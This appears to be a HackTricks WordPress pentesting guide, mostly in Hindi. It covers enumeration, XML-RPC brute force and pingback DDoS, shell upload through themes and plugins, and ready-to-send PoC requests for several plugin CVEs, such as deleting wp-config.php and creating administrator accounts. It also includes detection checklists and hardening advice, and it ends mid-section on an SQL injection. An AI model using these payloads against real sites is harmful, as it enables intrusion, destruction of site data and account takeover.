Wordpress

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

  • Uploaded फ़ाइलें जाती हैं: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, इसलिए अगर आप theme के कुछ php बदलकर RCE पाना चाहते हैं तो आप संभवतः उस path का उपयोग करेंगे। उदाहरण के लिए: Using theme twentytwelve आप 404.php फ़ाइल को access कर सकते हैं: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php आप database का root password पा सकते हैं।

  • जाँचने के लिए डिफ़ॉल्ट लॉगिन पाथ: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt में उपयोगी जानकारी होती है जैसे इंस्टॉल किए गए WordPress का संस्करण।
  • wp-activate.php का उपयोग नए WordPress साइट सेटअप करते समय ईमेल एक्टिवेशन प्रक्रिया के लिए किया जाता है।
  • Login फ़ोल्डर (छुपाने के लिए नाम बदला जा सकता है):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php एक ऐसी फ़ाइल है जो WordPress की उस फीचर का प्रतिनिधित्व करती है जो डेटा ट्रांसमिट करने के लिए HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करती है। इस प्रकार का संचार अब WordPress के REST API द्वारा प्रतिस्थापित किया जा चुका है।
  • wp-content फ़ोल्डर वह मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।
  • wp-content/uploads/ वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई फ़ाइलें स्टोर होती हैं।
  • wp-includes/ वह डायरेक्टरी है जहाँ core फ़ाइलें स्टोर होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें और widgets।
  • wp-sitemap.xml WordPress संस्करण 5.5 और उससे ऊपर में, WordPress सभी सार्वजनिक posts और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जेनरेट करता है।

Post exploitation

  • wp-config.php फ़ाइल में वह जानकारी होती है जो WordPress को database से कनेक्ट करने के लिए चाहिए, जैसे database का नाम, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को सक्रिय करने के लिए भी उपयोग की जा सकती है, जो troubleshooting में उपयोगी हो सकती है।

Users Permissions

  • Administrator
  • Editor: पोस्ट प्रकाशित करता है और अपने तथा दूसरों के पोस्ट्स का प्रबंधन करता है।
  • Author: अपने पोस्ट प्रकाशित और प्रबंधित करता है।
  • Contributor: अपने पोस्ट लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता।
  • Subscriber: पोस्ट ब्राउज़ कर सकता है और अपनी प्रोफ़ाइल संपादित कर सकता है।

Passive Enumeration

Get WordPress version

जाँचें क्या आप /license.txt या /readme.html फ़ाइलें पा सकते हैं

पेज के source code के अंदर (उदाहरण से: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS लिंक फाइलें

  • JavaScript फाइलें

प्लगइन्स प्राप्त करें

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

थीम प्राप्त करें

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सामान्य रूप से संस्करण निकालना

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सक्रिय एनुमेरेशन

Plugins and Themes

आप संभवतः सभी Plugins और Themes ढूंढ पाने में सक्षम नहीं होंगे। सभी की पहचान करने के लिए, आपको सक्रिय रूप से Plugins और Themes की सूची पर Brute Force करना होगा (आशा है हमारे लिए कुछ automated tools हैं जिनमें ये lists मौजूद हैं)।

Users

  • ID Brute: आप WordPress साइट से वैध users प्राप्त करते हैं users IDs पर Brute Forcing करके:
curl -s -I -X GET http://blog.example.com/?author=1

यदि responses 200 या 30X हैं, तो इसका मतलब है कि id valid है। अगर response 400 है, तो id invalid है।

  • wp-json: आप users के बारे में जानकारी प्राप्त करने के लिए query करके भी कोशिश कर सकते हैं:
curl http://blog.example.com/wp-json/wp/v2/users

एक अन्य /wp-json/ endpoint जो users के बारे में कुछ जानकारी उजागर कर सकता है:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

ध्यान दें कि यह endpoint केवल उन उपयोगकर्ताओं को एक्सपोज़ करता है जिन्होंने पोस्ट की है। केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।

यह भी ध्यान दें कि /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: /wp-login.php पर लॉगिन करते समय message different होता है, जो संकेत देता है कि username exists or not

XML-RPC

यदि xml-rpc.php सक्रिय है तो आप credentials brute-force कर सकते हैं या अन्य resources पर DoS attacks लॉन्च करने के लिए इसका उपयोग कर सकते हैं। (आप इस प्रक्रिया को using this उदाहरण के लिए automate कर सकते हैं)।

यह देखने के लिए कि यह सक्रिय है या नहीं, /xmlrpc.php तक पहुँचने का प्रयास करें और यह request भेजें:

जाँच करें

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs ऐसे कुछ तरीके हैं जिनका उपयोग credentials को brute-force करने के लिए किया जा सकता है। यदि आप इनमें से कोई ढूंढ लेते हैं तो आप कुछ इस तरह भेज सकते हैं:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

संदेश “Incorrect username or password” 200 कोड रिस्पॉन्स के अंदर दिखाई देना चाहिए अगर credentials मान्य नहीं हैं।

सही credentials का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। रिस्पॉन्स में path दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

इसके अलावा एक तेज़ तरीका भी है brute-force credentials करने का — system.multicall का उपयोग करके — क्योंकि आप एक ही request पर कई credentials आजमा सकते हैं:

Bypass 2FA

यह तरीका programs के लिए बनाया गया है और humans के लिए नहीं, तथा पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। इसलिए, अगर आपके पास valid creds हैं पर मुख्य प्रवेश 2FA से सुरक्षित है, तो आप xmlrpc.php का दुरुपयोग करके उन creds से 2FA को बायपास करते हुए login कर सकते हैं। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं वे सब संभव नहीं होंगे, पर फिर भी आप RCE तक पहुँच सकने में सक्षम हो सकते हैं जैसा Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है।

DDoS or port scanning

अगर आप list के अंदर pingback.ping method ढूँढ लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं.
यह इस्तेमाल किया जा सकता है कि हजारों Wordpress साइट्स को एक ही location को access करने के लिए कहकर (इस तरह उस location में एक DDoS उत्पन्न होता है) या आप इसका उपयोग internal network के कुछ हिस्से को scan करवाने के लिए कर सकते हैं (आप कोई भी port निर्दिष्ट कर सकते हैं)।

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode का मान 0 (17) से बड़ा मिलता है, तो इसका मतलब पोर्ट खुला है।

पिछले सेक्शन में system.multicall के उपयोग को देखें ताकि आप सीख सकें कि इस मेथड का दुरुपयोग करके कैसे DDoS किया जा सकता है।

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आमतौर पर Wordpress साइट के रूट में मौजूद होती है: /wp-cron.php
जब इस फ़ाइल तक पहुंच की जाती है तो एक “भारी” MySQL query की जाती है, इसलिए इसे attackers द्वारा DoS पैदा करने के लिए उपयोग किया जा सकता है।
इसके अलावा, डिफ़ॉल्ट रूप से wp-cron.php को हर पेज लोड पर कॉल किया जाता है (जब कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है), जो हाई-ट्रैफिक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।

यह सुझाव दिया जाता है कि Wp-Cron को disable करें और host के अंदर एक वास्तविक cronjob बनाकर आवश्यक कार्यों को नियमित अंतराल पर चलाएँ (बिना समस्याएँ पैदा किए)।

/wp-json/oembed/1.0/proxy - SSRF

कोशिश करें कि https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net तक पहुँचे और Worpress साइट आप पर अनुरोध कर सकती है।

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

यह टूल जांचता है कि क्या methodName: pingback.ping और पाथ /wp-json/oembed/1.0/proxy मौजूद हैं, और अगर मौजूद हों तो यह उन्हें एक्सप्लॉइट करने की कोशिश करता है।

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

एक बिट ओवरराइट करके एक्सेस प्राप्त करें

यह वास्तविक हमला होने के बजाय एक जिज्ञासा है। CTF में https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man आप किसी भी wordpress फ़ाइल का 1 bit पलट सकते थे। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php के position 5389 पर स्थित बिट को पलटकर NOT (!) ऑपरेशन को NOP कर सकते थे।

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

पैनल RCE

थीम से उपयोग किए गए php को मॉडिफाइ करना (admin credentials needed)

Appearance → Theme Editor → 404 Template (at the right)

Change the content for a php shell:

Search in internet how can you access that updated page. In this case you have to access here: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

You can use:

use exploit/unix/webapp/wp_admin_shell_upload

एक session प्राप्त करने के लिए।

प्लगइन RCE

PHP प्लगइन

यह संभव हो सकता है कि .php फ़ाइलों को प्लगइन के रूप में अपलोड किया जा सके.
उदाहरण के लिए अपने php backdoor बनाएं:

फिर एक नया प्लगइन जोड़ें:

प्लगइन अपलोड करें और Install Now दबाएँ:

Procced पर क्लिक करें:

शायद इससे कुछ होता हुआ दिखाई न दे, लेकिन यदि आप Media पर जाएँ तो आप अपना shell अपलोड हुआ देखेंगे:

इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे:

Uploading and activating malicious plugin

यह विधि एक ऐसे malicious plugin की स्थापना शामिल करती है जिसे vulnerable के रूप में जाना जाता है और जिसका उपयोग web shell प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है:

  1. Plugin Acquisition: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, उदाहरण के लिए here.
  2. Plugin Installation:
  • WordPress dashboard पर जाएँ, फिर Dashboard > Plugins > Upload Plugin पर जाएँ।
  • डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
  1. Plugin Activation: एक बार प्लगइन सफलतापूर्वक इंस्टॉल होने के बाद, इसे dashboard के माध्यम से सक्रिय किया जाना चाहिए।
  2. Exploitation:
  • प्लगइन “reflex-gallery” इंस्टॉल और सक्रिय होने पर, इसका exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
  • इस vulnerability के लिए Metasploit framework exploit प्रदान करता है। उपयुक्त module लोड करके और निश्चित commands चलाकर, एक meterpreter session स्थापित किया जा सकता है, जो साइट को unauthorized access प्रदान करता है।
  • ध्यान दें कि यह WordPress साइट का exploit करने के कई तरीकों में से केवल एक है।

सामग्री में WordPress dashboard में प्लगइन इंस्टॉल और सक्रिय करने के चरणों को दर्शाने वाले दृश्यों को शामिल किया गया है। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि सही authorization के बिना इस तरह की vulnerabilities का exploit करना illegal और unethical है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि penetration testing जिसमें स्पष्ट अनुमति हो।

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS से RCE तक

  • WPXStrike: WPXStrike एक स्क्रिप्ट है जो WordPress में एक Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन की गई है। अधिक जानकारी के लिए this post देखें। यह Wordpress Versions 6.X.X, 5.X.X and 4.X.X के लिए support प्रदान करता है और यह अनुमति देता है:
  • Privilege Escalation: WordPress में एक user बनाता है।
  • (RCE) Custom Plugin (backdoor) Upload: अपने custom plugin (backdoor) को WordPress पर अपलोड करें।
  • (RCE) Built-In Plugin Edit: WordPress में Built-In Plugins को edit करें।
  • (RCE) Built-In Theme Edit: WordPress में Built-In Themes को edit करें।
  • (Custom) Custom Exploits: Third-Party WordPress Plugins/Themes के लिए custom Exploits।

पोस्ट-एक्सप्लॉइटेशन

यूज़रनेम और पासवर्ड निकालें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin password बदलें:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

यह जानना कि एक Wordpress plugin कैसे functionality एक्सपोज़ कर सकता है, उसकी functionality में vulnerabilities खोजने के लिए अहम है। नीचे दिए बिंदुओं में बताया गया है कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण this blog post में मिलेंगे।

  • wp_ajax

Plugins में functions एक्सपोज़ करने के तरीकों में से एक AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर बेस करते हैं, जो Wordpress instance में प्रमाणीकृत कोई भी उपयोगकर्ता के पास हो सकता है (उसके role से स्वतंत्र रूप से)।

ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणीकृत उपयोगकर्ता) द्वारा एक्सेस करने योग्य बनाता है।

Caution

इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण को wp_verify_nonce फ़ंक्शन से जाँच रहा है, तो यह फ़ंक्शन केवल यह जाँचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता। इसलिए कम-प्राधिकारित उपयोगकर्ताओं को उच्च-प्राधिकारित क्रियाओं तक पहुँच मिल सकती है।

  • REST API

wordpress से functions को register_rest_route फ़ंक्शन का उपयोग करके rest AP रजिस्टर करके एक्सपोज़ करना भी संभव है:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback एक callback फ़ंक्शन है जो जाँच करता है कि कोई दिया गया उपयोगकर्ता API मेथड को कॉल करने के लिए अधिकृत है या नहीं।

If the built-in __return_true function is used, it’ll simply skip user permissions check.

  • php फ़ाइल तक सीधी पहुँच

बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे एक्सेस की जा सकती हैं। इसलिए, यदि कोई plugin ऐसी किसी कमजोर फ़ंक्शनैलिटी को एक्सपोज़ कर रहा है जो केवल फ़ाइल तक पहुँचने पर ट्रिगर होती है, तो वह किसी भी उपयोगकर्ता द्वारा शोषित की जा सकेगी।

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

कुछ plugins आंतरिक integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान उपयोगकर्ता संदर्भ सेट करने के लिए करते हैं। अगर header को किसी upstream कम्पोनेंट द्वारा क्रिप्टोग्राफिकली request के साथ बाँधा नहीं गया है, तो एक attacker इसे spoof कर सकता है और privileged REST routes को एक administrator के रूप में हिट कर सकता है।

  • प्रभाव: बिना प्रमाणीकरण के privilege escalation कर admin बनने की स्थिति — core users REST route के माध्यम से नया administrator बनाकर।
  • उदाहरण हेडर: X-Wcpay-Platform-Checkout-User: 1 (user ID 1 को फोर्स करता है, सामान्यतः पहला administrator अकाउंट)।
  • शोषित रूट: POST /wp-json/wp/v2/users with an elevated role array.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • प्लगइन एक क्लाइंट-नियंत्रित हेडर को authentication state से मैप करता है और capability checks को स्किप कर देता है।
  • WordPress core इस route के लिए create_users capability की अपेक्षा करता है; प्लगइन का हैक हेडर से सीधे current user context सेट करके इसे बायपास कर देता है।

Expected success indicators

  • HTTP 201 उस JSON बॉडी के साथ जो बनाए गए उपयोगकर्ता का वर्णन करे।
  • एक नया admin user जो wp-admin/users.php में दिखाई दे।

Detection checklist

  • grep करें getallheaders(), $_SERVER['HTTP_...'], या उन vendor SDKs के लिए जो कस्टम हेडर्स पढ़कर user context सेट करते हैं (उदा., wp_set_current_user(), wp_set_auth_cookie()).
  • उन REST registrations की समीक्षा करें जहाँ privileged callbacks मजबूत permission_callback checks के बिना हैं और इसके बजाय request headers पर निर्भर करते हैं।
  • उन REST handlers के अंदर core user-management functions (wp_insert_user, wp_create_user) के उपयोग की तलाश करें जो केवल header values से gated हैं।

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes और plugins अक्सर AJAX handlers को wp_ajax_ और wp_ajax_nopriv_ hooks के माध्यम से एक्सपोज़ करते हैं। जब nopriv वैरिएंट का उपयोग होता है तो callback बिना प्रमाणिकरण वाले विज़िटर्स के लिए पहुँच योग्य हो जाता है, इसलिए किसी भी संवेदनशील कार्रवाई में अतिरिक्त रूप से निम्न लागू होने चाहिए:

  1. एक capability check (जैसे current_user_can() या कम से कम is_user_logged_in()), और
  2. एक CSRF nonce जिसे check_ajax_referer() / wp_verify_nonce() से validate किया गया हो, और
  3. कठोर इनपुट sanitisation / validation

Litho multipurpose theme (< 3.1) ने इन 3 नियंत्रणों को Remove Font Family फीचर में भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) ship कर दिया:

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

इस स्निपेट से उत्पन्न समस्याएँ:

  • बिना प्रमाणीकरण की पहुँचwp_ajax_nopriv_ hook रजिस्टर किया गया है।
  • No nonce / capability check – कोई भी विज़िटर endpoint को हिट कर सकता है।
  • No path sanitisation – user‑controlled fontfamily स्ट्रिंग बिना फ़िल्टर के filesystem path से जोड़ दी जाती है, जिससे क्लासिक ../../ traversal संभव हो जाता है।

शोषण

एक attacker एक ही HTTP POST request भेजकर uploads base directory के नीचे किसी भी file या directory को हटा सकता है (आमतौर पर <wp-root>/wp-content/uploads/):

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

डिटेक्शन चेकलिस्ट

  • कोई भी add_action( 'wp_ajax_nopriv_...') callback जो फाइलसिस्टम हेल्पर्स (copy(), unlink(), $wp_filesystem->delete(), आदि) को कॉल करता है।
  • paths में unsanitised user input का concatenation (देखें $_POST, $_GET, $_REQUEST)।
  • check_ajax_referer() और current_user_can()/is_user_logged_in() की अनुपस्थिति।

Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)

कई plugins एक “view as role” या temporary role-switching फीचर लागू करते हैं जो original role(s) को user meta में सेव कर लेते हैं ताकि उन्हें बाद में restore किया जा सके। यदि restoration path केवल request parameters (उदा., $_REQUEST['reset-for']) और एक plugin-maintained सूची पर निर्भर करता है और capabilities व valid nonce की जाँच नहीं की जाती, तो यह एक vertical privilege escalation बन जाता है।

एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया था। reset branch ने roles को reset-for=<username> के आधार पर restore किया यदि username आंतरिक array $options['viewing_admin_as_role_are'] में दिखा, पर उसने न तो current_user_can() चेक किया और न ही nonce verification, इससे पहले कि current roles हटाए जाएं और user meta _asenha_view_admin_as_original_roles से saved roles फिर से जोड़े जाएं:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Why it’s exploitable

  • $_REQUEST['reset-for'] और एक plugin option पर server-side authorization के बिना भरोसा करता है।
  • यदि किसी उपयोगकर्ता के पास पहले _asenha_view_admin_as_original_roles में उच्चाधिकार सहेजे गए थे और बाद में उन्हें कम कर दिया गया, तो वे reset path हिट करके उन्हें पुनर्स्थापित कर सकते हैं।
  • कुछ deployments में, कोई भी authenticated user किसी अन्य username के लिए reset ट्रिगर कर सकता था जो अभी भी viewing_admin_as_role_are में मौजूद था (broken authorization).

Exploitation (example)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

कमजोर बिल्ड पर यह वर्तमान roles को हटा देता है और सहेजे गए original roles (उदा., administrator) को फिर से जोड़ देता है, जिससे प्रभावी रूप से privileges escalate हो जाते हैं।

Detection checklist

  • Look for role-switching features that persist “original roles” in user meta (e.g., _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • Read usernames from $_REQUEST / $_GET / $_POST.
  • Modify roles via add_role() / remove_role() without current_user_can() and wp_verify_nonce() / check_admin_referer().
  • Authorize based on a plugin option array (e.g., viewing_admin_as_role_are) instead of the actor’s capabilities.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

कुछ plugins user-switching helpers को public init hook पर जोड़ते हैं और पहचान client-controlled cookie से प्राप्त करते हैं। अगर कोड wp_set_auth_cookie() को authentication, capability और एक वैध nonce की जाँच किए बिना कॉल करता है, तो कोई भी अप्रमाणित विज़िटर किसी भी arbitrary user ID के रूप में लॉगिन करा सकता है।

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

क्यों यह exploitable है

  • Public init hook handler को unauthenticated users द्वारा पहुंच योग्य बनाता है (कोई is_user_logged_in() guard नहीं)।
  • पहचान client-modifiable cookie (original_user_id) से निकाली जाती है।
  • सीधा कॉल wp_set_auth_cookie($uid) अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर देता है बिना किसी capability/nonce checks के।

Exploitation (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Generic edge/server WAFs broad पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई उच्च-प्रभाव वाले WordPress/plugin दोष application-specific लॉजिक/ऑथ बग होते हैं जो तभी तक बेनाइन ट्रैफ़िक जैसा दिखते हैं जब तक इंजन WordPress routes और plugin semantics को समझता नहीं है।

ऑफेंसिव नोट्स

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • पहले unauth paths पर काम करें (AJAX nopriv, REST with permissive permission_callback, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल होते हैं।
  • सामान्य उच्च-प्रभाव केस: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect।

डिफेंसिव नोट्स

  • plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी से अपडेट करें।
  • कोड में positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें, negative regex filters पर नहीं।

WordPress Protection

Regular Updates

सुनिश्चित करें कि WordPress, plugins, और themes अपडेटेड हैं। साथ ही wp-config.php में automated updating सक्षम है यह भी पुष्टि करें:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, only install trustable WordPress plugins and themes.

सुरक्षा Plugins

Other Recommendations

  • डिफ़ॉल्ट admin उपयोगकर्ता हटाएँ
  • strong passwords और 2FA का उपयोग करें
  • समय-समय पर उपयोगकर्ताओं की permissions की review करें
  • Brute Force attacks को रोकने के लिए Limit login attempts लागू करें
  • wp-admin.php फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP addresses से ही पहुंच की अनुमति दें।

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following vulnerable code inside modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Unsanitised user inputparentid सीधे HTTP request से आता है।
  2. String concatenation inside the WHERE clause – कोई is_numeric() / esc_sql() / prepared statement नहीं।
  3. Unauthenticated reachability – हालाँकि action admin-post.php के माध्यम से execute होता है, स्थान पर केवल एक CSRF nonce (wp_verify_nonce() ) की जाँच है, जिसे कोई भी विज़िटर सार्वजनिक पेज से embedding shortcode [wpjobportal_my_resumes] द्वारा प्राप्त कर सकता है।

शोषण

  1. एक ताज़ा nonce प्राप्त करें:
